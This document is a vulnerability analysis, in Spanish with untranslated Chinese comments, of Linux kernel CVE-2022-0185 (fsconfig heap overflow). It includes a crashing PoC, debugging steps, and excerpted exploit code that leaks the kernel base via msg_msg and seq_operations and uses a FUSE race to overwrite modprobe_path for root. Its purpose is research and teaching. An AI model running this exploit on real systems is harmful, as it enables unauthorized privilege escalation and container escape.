
POC de CVE-2022-0185, Docker e informe de análisis
[toc]
ID de la vulnerabilidad: CVE-2022-0185
Puntuación de la vulnerabilidad:
Producto afectado: linux kernel - fsconfig syscall
Rango de versiones afectadas: linux kernel 5.1-rc1 ~ 5.16.2
Condiciones de explotación: local en linux; tener la capacidad CAP_SYS_ADMIN (se puede obtener directamente con unshare, por lo que equivale a sin restricciones)
Efecto de la explotación: escalada de privilegios local; escape de contenedores
Obtención del código fuente: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1
o https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/
Docker de entorno de compilación del kernel 5.X: chenaotian/kernelcompile
Docker de análisis de la vulnerabilidad: chenaotian/cve-2022-0185
se prepararon dos kernels: uno de distribución y uno compilado a medida
instalar qemu, gdb, gdb-peda, etc.
el material de la vulnerabilidad está en /root/cve-2022-0185
boot_exp.sh para iniciar el entorno de verificación y depuración del exploit, con el kernel de distribución 5.11.0-44 sin símbolosboot_poc.sh para iniciar el entorno de verificación del PoC; puede hacer fallar el kernel, pero no puede ejecutar el exploit; kernel 5.13 autocompilado con símbolosexp, código fuente de exp (autor: BitsByWill); basta con compilar exploit_fuse.Entorno qemu: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp
Entorno de ejecución del exploit en máquina virtual ubuntu20.04, que ejecuta el exploit original.
Prepare una máquina virtual ubuntu20.04 y luego cambie el kernel:```shell apt-get install linux-image-5.11.0-44-generic
grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以
#编译exp make fuse ./exploit
Efecto de escalada de privilegios

## Principio de la vulnerabilidad
La llamada al sistema donde ocurre la vulnerabilidad es la opción de operación `FSCONFIG_SET_STRING` en `fsconfig`. Esta llamada al sistema se utiliza para realizar algunas configuraciones en el contexto de un sistema de archivos ya abierto. **El requisito previo es disponer del permiso de cap `CAP_SYS_ADMIN`:**
> El propósito principal de `fsopen` es crear un contexto de sistema de archivos, asociarlo con un descriptor de archivo y devolver el descriptor. Después de `fsopen` viene `fsconfig`; por el significado literal se puede adivinar que, mientras arriba creamos un contexto de sistema de archivos con `fsopen`, `fsconfig` probablemente se utiliza para configurar el contenido dentro de ese contexto. De hecho, `fsconfig` se dedica principalmente a esa tarea de configuración; además del contexto de sistema de archivos, también admite otros trabajos.
### Punto donde ocurre la vulnerabilidad
Primero, la vulnerabilidad aparece en la función `legacy_parse_param`:
linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
El punto clave está en el memcpy posterior, que copia el param->string que pasamos dentro de ctx->legacy_data. La comprobación de si la copia se desborda se encuentra en la comparación anterior (len > PAGE_SIZE - 2 - size). Esta comprobación tiene un problema: el tipo de la comparación es size_t, es decir, unsigned int. Si size > PAGE_SIZE - 2, se produce un desbordamiento de enteros que invierte el resultado, provocando que len < PAGE_SIZE - 2 - size sea verdadero, y por tanto la comprobación se supera. Después, al copiar, size es mayor que PAGE_SIZE - 2, lo que causa un desbordamiento en la copia.
Algunas estructuras de datos utilizadas:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };
struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };
struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };
### Ruta de llamada
A continuación analizamos la pila de llamadas de funciones; en primer lugar, la entrada es, sin duda, la llamada al sistema `fsconfig`:
linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
··· ···
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;
fc = f.file->private_data; //设置fc
··· ···
switch (cmd) {
··· ···
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
//初始化结构体中的联合体中的string成员为用户传入的字符串
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);//设置size
break;
··· ···
··· ···
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, ¶m);
mutex_unlock(&fc->uapi_mutex);
}
··· ···
··· ···
}
En la entrada de la llamada al sistema fsconfig, primero se inicializa la estructura de contexto del sistema de archivos fc según el descriptor de archivo fd, y luego se establece la estructura param según los parámetros pasados por el usuario; esta variable de estructura es el param que se usará más adelante en la función vulnerable legacy_parse_param. A continuación, se entra en la función vfs_fsconfig_locked:
linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;
ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
··· ···
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}
Primero se llama a la función `finish_clean_context`, que invoca a `legacy_init_fs_context` para registrar la tabla de funciones de devolución de llamada, en la que se incluye la función vulnerable `legacy_parse_param`.
linux-5.11\fs\fs_context.c ```c
int finish_clean_context(struct fs_context *fc)
{
··· ···
error = legacy_init_fs_context(fc);
··· ···
}
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops; //注册回调函数表
return 0;
}
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param, //漏洞函数
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
Después de que finaliza el registro, se entra en la función vfs_parse_fs_param para procesar los parámetros. Aquí se invoca la función de devolución de llamada recién registrada, es decir, la función vulnerable.
linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···
if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param); //漏洞所在函数
if (ret != -ENOPARAM)
return ret;
}
··· ···
··· ···
} EXPORT_SYMBOL(vfs_parse_fs_param);
总体预览如下
- SYSCALL_DEFINE5(fsconfig,... : entrada de la llamada al sistema
- vfs_fsconfig_locked
- finish_clean_context
- legacy_init_fs_context : registro de la tabla de funciones de devolución de llamada
- vfs_parse_fs_param
- legacy_parse_param : vulnerabilidad
## PoC de reproducción de la vulnerabilidad
PoC de reproducción de la vulnerabilidad:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
puts("Opening");
exit(-1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
Después de la compilación estática, empaquetarlo en el sistema de archivos y usar qemu para iniciar el kernel.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh
En otra terminal, use gdb para depuración remota:```shell
cd ~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param
c
En la primera llamada:
legacy_data aún no se ha inicializado:
Posteriormente se llamará a kmalloc para inicializarlo, y después se copiará la cadena de entrada a legacy_data. Cuando la función retorna, la primera cadena ya se ha copiado, añadiendo ',=' al frente, con una longitud de 0x69.
Dado que realizamos múltiples llamadas a fsconfig para copiar las cadenas, cada vez pasamos 0x67 caracteres 'A'; como la función legacy_parse_param añade ',=' al frente, cada copia tiene una longitud de 0x69. Después de 39 copias, la longitud de legacy_data alcanza 0xfff. Tras las 39 copias, detenemos en un punto de interrupción para inspeccionar:
Se observa que el data_size de legacy_data ya ha alcanzado 0xfff.
El espacio de memoria de tamaño 0x1000 solicitado por kmalloc también está a punto de alcanzar su límite. Veamos dónde ocurre la vulnerabilidad:
0x68 es menor que el 0xffff.... tras la inversión, por lo que la verificación se supera; después de la copia se desborda directamente fuera de los límites, sobrescribiendo el contenido de memoria posterior:
Al continuar la ejecución, el kernel colapsa:
Según el writeup del autor del exp: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. En total implementó dos métodos de explotación: la explotación de escalada de privilegios en Ubuntu 20.04 con la versión de kernel 5.11.0-44, y el método de explotación con el que obtuvo la recompensa en el KCTF de Google. Aquí se analiza principalmente la explotación en Ubuntu 20.04 con la versión de kernel 5.11.0-44.
El autor de este exp utilizó este método de explotación en dos retos de CTF: fire_of_salvation y wall_of_perdition de corCTF 2021. Mediante desbordamientos u operaciones UAF, se sobrescribe la estructura de cabecera de mensaje msg_msg para lograr lectura/escritura de direcciones arbitrarias. Aquí no se hará un análisis muy detallado de este método de explotación; solo se analizarán las partes utilizadas en el reto.
msgsnd y msgrcv son funciones proporcionadas por el kernel para enviar y recibir mensajes en la comunicación entre procesos. La lógica general es que los mensajes se envían al kernel, el kernel mantiene la cola de mensajes correspondiente y, al recibir un mensaje, se extrae de la cola.
Definición del código fuente de msgsnd, cuya funcionalidad principal la realiza do_msgsnd:
linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;
··· ···
//后面代码将msg 添加到消息队列。
··· ···
}
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }
`do_msgsnd` 允许的消息最大长度为8192:

然后需要重点分析一下 `load_msg` 函数,由于在`load_msg` 函数中使用了`alloc_msg` 函数来申请内存空间,并且组织消息结构。这里先分析一下`alloc_msg` 函数:
linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
//#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
··· ···
··· ···
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
//#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
··· ···
}
Aquí el mensaje se divide en segmentos según su longitud, si la longitud del mensaje + la longitud de la cabecera del mensaje es mayor que una página (4k), se almacenará en segmentos. El primer segmento es la cabecera del mensaje + el segmento 1 del mensaje; la cabecera del mensaje contiene un puntero al segundo segmento; el segundo segmento es la cabecera del segmento de mensaje + el segmento 2 del mensaje... Según la longitud máxima del mensaje mencionada anteriormente de 8192, el mensaje se divide como máximo en 3 segmentos. Y cada segmento tiene una longitud máxima de una página (4k), y como mínimo debe incluir la cabecera del mensaje con una longitud de 0x30, por lo que el rango de tamaños de asignación de heap que podemos controlar es kmalloc-64~kmalloc-4k. Entre ellos, la estructura de la cabecera del mensaje y la estructura de la cabecera del segmento de mensaje son las siguientes:```c
struct msg_msg {//消息头结构体
struct list_head m_list; //两个指针
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void security;
/ the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg next;
/ the next part of the message follows immediately */
};
Por lo tanto, la estructura formada por los mensajes es similar a:

Los mensajes se almacenan en la cola de mensajes, gestionados por una lista doblemente enlazada. Los propios mensajes se almacenan en segmentos, enlazados mediante una lista enlazada simple. Cada segmento tiene como máximo una página (4K) de longitud total. A continuación se analiza la función `do_msgsnd`:
linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); //根据消息长度生成上图那种结构体
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //根据分段情况从用户空间分段拷贝,这里拷贝第一段
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
··· ···
··· ···
}
Para la parte siguiente, basta con copiar secuencialmente desde el espacio de usuario según la segmentación del mensaje.
A continuación, veamos la función de recepción de mensajes msgrcv. De manera similar, la lógica principal está en la función do_msgrcv. Aquí menciono un pequeño detalle, sin analizarlo en detalle:
linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息
return PTR_ERR(copy);
}
··· ···
for (;;) {
··· ···
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
··· ···
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中
goto out_unlock0;
}
··· ···
}
··· ···
}
··· ···
bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户
free_msg(msg); //释放消息备份
return bufsz;
}
En `msgflg` cuando existe el flag `MSG_EXCEPT` (configuración por defecto, opción de compilación `CONFIG_CHECKPOINT_RESTORE`), se usa el envío de mensajes de respaldo. La lógica concreta es: primero se asigna una estructura de mensaje como respaldo del mensaje, después de encontrar el mensaje se copia primero al respaldo, luego se envía al espacio de usuario y finalmente se libera el respaldo. **Así el mensaje original no se desvincula (`unlink`) de la cola**, y lo que queremos es precisamente "que el mensaje original no se desvincule (`unlink`) de la cola". Porque a veces al desbordar podemos sobrescribir los punteros de la lista doblemente enlazada de la cabecera del mensaje, y al hacer `unlink` se produciría un fallo, algo que no es el resultado deseado.
Los puntos de conocimiento son más o menos estos, y las técnicas de explotación involucradas son:
- Usar la función `msgsnd` para realizar operaciones de rociado (`spray`) en el rango de `kmalloc-64` a `kmalloc-4k` (técnica tradicional)
- Si se puede sobrescribir el miembro `m_ts` de la cabecera de `msg_msg`, entonces se cambia la longitud del mensaje, provocando una lectura fuera de límites (técnica nueva)
- Si se puede sobrescribir el miembro `struct msg_msgseg *next` de la cabecera de `msg_msg` **durante el proceso de `load_msg`**, entonces se puede lograr lectura/escritura en direcciones arbitrarias. Esto normalmente requiere explotar una condición de carrera con `userfaultfd`, pero en los kernels más recientes ya no se puede invocar `userfaultfd` desde el espacio de usuario sin privilegios. Aquí se emplea un método nuevo.
#### Sustituto de userfaultfd
Según la función `load_msg` analizada anteriormente, después de que `alloc_msg` asigna la memoria del mensaje, se copia el mensaje desde el espacio de usuario. Si el mensaje es un mensaje segmentado de gran longitud, la copia debe realizarse por segmentos. Si se consigue que al copiar el primer segmento ocurra un fallo de página, la operación de copia queda suspendida esperando a que se complete el manejador de la excepción. En ese momento, mediante el desbordamiento se sobrescribe el puntero `msg_msgseg *next` en `msg_msg`. Cuando el manejador de la excepción termina y se reanuda la copia del segundo segmento, se convierte en una sobrescritura de contenido arbitrario en la dirección que nosotros especifiquemos (escritura en dirección arbitraria).
Normalmente esto requiere registrar un manejador de fallos de página en el espacio de usuario, pero en las versiones nuevas no se puede invocar la syscall `userfaultfd` sin privilegios. Aquí se ofrece un método nuevo: el sistema de archivos `fuse` en espacio de usuario. Se puede usar `fuse` para registrar un sistema de archivos en espacio de usuario que tenga sus propias funciones `read`, `write`, etc. De esta manera, cuando ocurre un fallo de página, igualmente se vuelve al espacio de usuario para manejar la interrupción.
Vale la pena mencionar que `fuse` no tiene una biblioteca compilada estáticamente por defecto. BitsByWill y D3v17 la recortaron, eliminando cosas como `dlopen` y dejando solo una `libfuse3.a` que se puede compilar estáticamente. Digan rápido: gracias BitsByWill y D3v17.
[Referencia](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)
#### Filtrar direcciones
Esto también es una operación habitual en kernel pwn: se usa la estructura `seq_operations` para filtrar direcciones; está llena de punteros a funciones:```c
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Concretamente, al abrir /proc/self/stat, se llama a la función single_open, que inicializa la estructura seq_operations:```c
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;
if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
··· ··· }
Inicializar todos los punteros de función en la estructura `single_open` como funciones del kernel; con filtrar cualquiera de ellos se puede filtrar la dirección base del kernel.
#### Escalada de privilegios
La técnica tradicional de kernel pwn `modprobe_path`, una cadena en el kernel, apunta a una ruta, por defecto /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
Cuando se ejecuta un archivo con un formato no reconocido, se ejecuta el archivo apuntado por modprobe_path; esto lo hace el kernel, por lo que tiene privilegios de root. Generalmente, si se puede modificar esa cadena, se considera que la escalada de privilegios ha tenido éxito.
Aquí no pude compilar un entorno que cumpliera los requisitos para ejecutar el exp (soy demasiado novato), así que directamente copié el vmlinuz del 5.11.0-44-generic instalado con apt y lo usé; después de iniciar qemu, efectivamente se podía depurar. Puede que la parte de cap o fuse no estuviera bien configurada, por lo que ejecutar el exp como un usuario no root aún causaba algunos problemas, así que aquí, al depurar con qemu, ejecuté el exp como usuario root; después de todo, el exp modifica modprobe_path en el kernel.
Para obtener el exp, visita directamente el github del autor; se puede compilar en un entorno ubuntu20. Por mi parte, solo hice el análisis, la depuración y la verificación.
Estructura del exp:
CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase) //泄露kernel 基址部分
{
kbase = do_leak();
}
··· ···
spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1)
{
do_win(); //任意地址写修改modprobe_path完成利用部分
··· ···
}
··· ···
}
exp主要分文两部分,分别是泄露和任意地址写。
#### 泄露kernel 基地址
我觉得该exp 的泄露部分用的非常巧妙,先溢出覆盖未被使用的部分,然后申请需要溢出覆盖的结构体这样不会破坏目标意外的部分,然后继续溢出精准覆盖目标。
主要是`do_leak`函数
CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++) //[1]先申请8个独立的消息队列,每个里面存放一条消息
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}/*消息大小 0x1018-0x30,实际会分成两段
*第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
*第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{ //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
/*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
*这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}//msg_msg 头会覆盖刚刚溢出的内容
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
/*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
*刚好覆盖m_ts,修改msg 的大小*/
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
open("/proc/self/stat", O_RDONLY);
}//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面
size = 0x1060;//接受消息的长度
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);//泄露成功
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
Aquí se emplea msgsnd para organizar una parte de los bloques kmalloc antes y después de la operación de desbordamiento; la longitud concreta del mensaje es 0x1018-0x30 = 0xfe8. Según la estructura del mensaje, este se dividirá en dos segmentos, 0xfd y 0x18:
msg_msg de 0x30 y el mensaje de 0xfd suman 0x1000 y pertenecen a kmalloc-4kmsg_msgseg de 0x8 y el mensaje de 0x18 suman 0x20 y pertenecen a kmalloc-32Para preparar el desbordamiento, se usa fsconfig para rellenar legacy_data (longitud solicitada 4096, pertenece a kmalloc-4k) hasta 4095. Aquí se utilizan 33 'A', pero en realidad cada vez se añaden además los dos caracteres ",=", así que en cada iteración se rellenan 35 caracteres; tras 117 iteraciones se llega exactamente a 4095.
Dirección de inicio de la página y final de la página:

Los cambios del montón desde el paso 2 hasta el paso 6 se muestran en la figura; la flecha roja indica la posición a la que apuntará el puntero legacy_data + size dentro de fsconfig:

Esta parte es relativamente sencilla. Como se mencionó antes, se hace que copy_from_user dentro de msgsnd genere una interrupción por fallo de página, que se maneja en la función de manejo de nuestro sistema de archivos de usuario fuse registrado; durante este tiempo se usa fsconfig para desbordar y sobrescribir el segundo segmento del mensaje.```c
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
//[1]在0x1337000 mmap 一页
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
//[2]设定消息长度为0xfe的消息,会分成两段
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }
